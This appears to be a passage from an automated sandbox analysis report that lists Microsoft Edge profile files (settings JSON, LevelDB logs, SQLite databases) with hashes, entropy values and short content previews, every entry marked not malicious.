Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375978882411019","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375978882411019","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\991feefe-fb5d-4715-aaa9-77c7f2e8f31f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9bbea375-7c64-40d8-a6ad-4f9e30a0178c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17206), with no line terminators
Category:	dropped
Size (bytes):	17210
Entropy (8bit):	5.495527820537251
Encrypted:	false
SSDEEP:	192:stZJ99QTryDiuabatSuyp+sltdyaNPnvkNNhqFfclKe08Wigx+TwKelLE8CbV+Fq:stZPGQSu4+sltdtJnUEn8WJTAbGjQwYB
MD5:	8605E07C6D9BA8A70CC750FE5247E1BD
SHA1:	19D010E646FDB2B33248B3629F8DF16AE1CBAD90
SHA-256:	8F7FF88D5F6ADB09FEBC25A0905D5FD17E748E6BCE70C195D4FD6E3E956E1C51
SHA-512:	E5C0B1C34437F4AB5B78A14B854EBEA3D52DDF361CA421D54C1869DB47EDA4265749D769D1E2E900C7F1AD3D4E737B1AC06462E5E67B81CCEDE07F86479EB0CC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375978883361092","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.250640140705024
Encrypted:	false
SSDEEP:	6:HUgq1cNwi23oH+Tcwtp3hBtB2KLlVUSESVq2PcNwi23oH+Tcwtp3hBWsIFUv:DcZYebp3dFLwSVvLZYebp3eFUv
MD5:	833265BCF29005A6C8200C461BD18F85
SHA1:	FED7632E32B5AC35C41CF23D6880329EC55C727A
SHA-256:	EE1C23B85049F458D52F75D502EF6997A8267EB6D4754B99D1833C29ADC729B8
SHA-512:	6EE526D14902D2927B4300FA6BA74F93E6BBA7201235E10270F427CE9F9B1EB96CCA1ABEBA1ACBF8488C46D8D97EDAB2587535D0AE12F53D9F7DA533AFA984C2
Malicious:	false
Preview:	2024/11/13-08:41:28.206 1260 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/13-08:41:28.532 1260 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.0406325497471975
Encrypted:	false
SSDEEP:	24576:kef76gGkISshcFdmcOAoPENUpifYP+MbI2T:kefgAmmE
MD5:	69A363F5EE473D85DDC0F49BE1CD8B79
SHA1:	9425389202E415407607C09209667B1B684701B3
SHA-256:	E79E2E55B5C2B661F5F8B462490277521F7EB284932538DAE2F286D64AAE506E
SHA-512:	28940C01C9C311FA4C2F7C688EA5185C93849B85E722460540CE74C183B1F70E71E6FB90E742F546AEB99C1E1EECD65BFC1BEECBA9D5DD034B641450F37CE905
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.132676076343207
Encrypted:	false
SSDEEP:	6:HUyCIq2PcNwi23oH+Tcwt9Eh1tIFUt8YUyZXZmw+YUyrFkwOcNwi23oH+Tcwt9Er:mIvLZYeb9Eh16FUt8+X/+854ZYeb9Ehx
MD5:	A47635EBA2AFF2E5C73EE0C0273BE165
SHA1:	4CF188228C9C6411A5B6A5759263500347C2B952
SHA-256:	446FD1AB26969416688B4F751FFF1033C1F26423B4DFC0816C5FF943A5679BA9
SHA-512:	D55C4B76EC579B5532AF885EA3D8B0EDCD1ABA11359E044B39510CB9855BE3F17371F012242097C0B7CE571E682DBCF46813DB595D10A1040C935C8D73AABA7C
Malicious:	false
Preview:	2024/11/13-10:25:45.059 2144 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/13-10:25:45.061 2144 Recovering log #3.2024/11/13-10:25:45.067 2144 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.132676076343207
Encrypted:	false
SSDEEP:	6:HUyCIq2PcNwi23oH+Tcwt9Eh1tIFUt8YUyZXZmw+YUyrFkwOcNwi23oH+Tcwt9Er:mIvLZYeb9Eh16FUt8+X/+854ZYeb9Ehx
MD5:	A47635EBA2AFF2E5C73EE0C0273BE165
SHA1:	4CF188228C9C6411A5B6A5759263500347C2B952
SHA-256:	446FD1AB26969416688B4F751FFF1033C1F26423B4DFC0816C5FF943A5679BA9
SHA-512:	D55C4B76EC579B5532AF885EA3D8B0EDCD1ABA11359E044B39510CB9855BE3F17371F012242097C0B7CE571E682DBCF46813DB595D10A1040C935C8D73AABA7C
Malicious:	false
Preview:	2024/11/13-10:25:45.059 2144 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/13-10:25:45.061 2144 Recovering log #3.2024/11/13-10:25:45.067 2144 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4624290324036552
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuJ:TouQq3qh7z3bY2LNW9WMcUvBuJ
MD5:	9206A3139C5F51CF671E5C6733A71F66
SHA1:	AFEB4D4065D04A303E9147BAA515ED92A6A6440A
SHA-256:	6C06C4DE2A06299147557866698A6CFFE9C4468F2B964588DE410F8DE47A00AA
SHA-512:	6B92815B042618D27DB09DA403BE10AC4C81D905D8C1CC0BD54E4011B490E38F8C51C3F7276AF2A85AF5575157DDA8F6C7C4A3A8C8C0FBEFEDC05742C698139B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.209679109541225
Encrypted:	false
SSDEEP:	6:HUGq2PcNwi23oH+TcwtnG2tMsIFUt8YUa5Zmw+YUaTkwOcNwi23oH+TcwtnG2tM2:rvLZYebn9GFUt8U5/+UT54ZYebn95J
MD5:	CF4F26D836205C95597F8A9C684AD1E0
SHA1:	6AFD8189203DCD49918508926357A3E2022F4298
SHA-256:	8EA429D75E06FDC5A6BB076F7E2C14A897F149EEF21C7BB0CFDBB6B6DEE33FFF
SHA-512:	501D15CD8990EBFFB4CE83E0D9FE9EE2734A046FF94B8C8C033AD9497E83A3F5DADA3513F7BF026E54F33FC17BB3E1BA40B127B71F60C6EE449D305499F34044
Malicious:	false
Preview:	2024/11/13-08:41:22.478 1d70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/13-08:41:22.479 1d70 Recovering log #3.2024/11/13-08:41:22.479 1d70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.209679109541225
Encrypted:	false
SSDEEP:	6:HUGq2PcNwi23oH+TcwtnG2tMsIFUt8YUa5Zmw+YUaTkwOcNwi23oH+TcwtnG2tM2:rvLZYebn9GFUt8U5/+UT54ZYebn95J
MD5:	CF4F26D836205C95597F8A9C684AD1E0
SHA1:	6AFD8189203DCD49918508926357A3E2022F4298
SHA-256:	8EA429D75E06FDC5A6BB076F7E2C14A897F149EEF21C7BB0CFDBB6B6DEE33FFF
SHA-512:	501D15CD8990EBFFB4CE83E0D9FE9EE2734A046FF94B8C8C033AD9497E83A3F5DADA3513F7BF026E54F33FC17BB3E1BA40B127B71F60C6EE449D305499F34044
Malicious:	false
Preview:	2024/11/13-08:41:22.478 1d70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/13-08:41:22.479 1d70 Recovering log #3.2024/11/13-08:41:22.479 1d70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6135321101403336
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWNyMAqtQ4Sc:TLapR+DDNzWjJ0npnyXKUO8+jNpSQbmL
MD5:	D76447EEED669798AC61ADBF8BE46C8D
SHA1:	3363D32707E1CCB571AA6108B459FE5868736864
SHA-256:	2C4C3D0A7E8F9F0F311F4F1FD4E458817EE5F0B8BAA6AF23B0713CD2D5DB8F50
SHA-512:	8D4F95B5FAD60CA89E7FA78C5B2295D12F5CF4A6C773570E2A458D4E4897C5243CE2BF9ED232BA9DF4B7085E466A9605AFF7E3426712B3C5F023DD99D2B0B2C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.3541565420217125
Encrypted:	false
SSDEEP:	6144:UA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:UFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	08BA542B9FD05F72DD330A2404364B75
SHA1:	071CB956F9D4FC36D269BEF36EB8E5E3F0E57AC6
SHA-256:	E0B35147940660BE353349A233CC6820B0E4A76635F388B12FDFB08DE50FD479
SHA-512:	5DE8CB8814BCEF3E73336F9BEAA499D8763BCB6EFD5C0A4367BF85B9DD36949B20EF97FF6CA8C1D611DDBA1CCCCF8582BD11CC6AF5B3BE1116FB0BDB057C00A4
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13375985146462641..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.170390642295445
Encrypted:	false
SSDEEP:	6:HUyTHD1cNwi23oH+Tcwtk2WwnvB2KLlVUyz59+q2PcNwi23oH+Tcwtk2WwnvIFUv:XZZYebkxwnvFLCvLZYebkxwnQFUv
MD5:	2ED413A70EF79FD22025E241FBD5D26C
SHA1:	8FC86BEEFE98C9782B9847FF9D6279472B8CAACE
SHA-256:	21F957E4D3BBCC3A413FBA0F5897286BA61B9A147963FACE421876990C76CBD7
SHA-512:	FA169A5C53B6D98289316958538FC73241B2F3FEF72C85A0E2B9E5B70C400B39F828EDB45EA58F353A2137AFCAD58A67DFA96AFD6CC253BDE9E32329BB89472F
Malicious:	false
Preview:	2024/11/13-10:25:45.055 2158 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/13-10:25:45.259 2158 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358858
Entropy (8bit):	5.324594156408658
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rb:C1gAg1zfvT
MD5:	C9BE29C92AF0912908DBCC7A5AD9C87C
SHA1:	1641F3D464BF72F21E4A74BA1C99FD7CEED4A9EC
SHA-256:	C2678A7431DB22F51FD8D8D1F5205873A9D73BF0A2F1C95E726B584A5051EFF7
SHA-512:	25B6EFBFC1176C6A3627EB6F01F9B36B6F1563329126ECB06EA1192CEDCFB4996276A308F4D5A5514369F7CB368722030CD24EE54ED36247AC74578C9B4B2784
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.160585853448604
Encrypted:	false
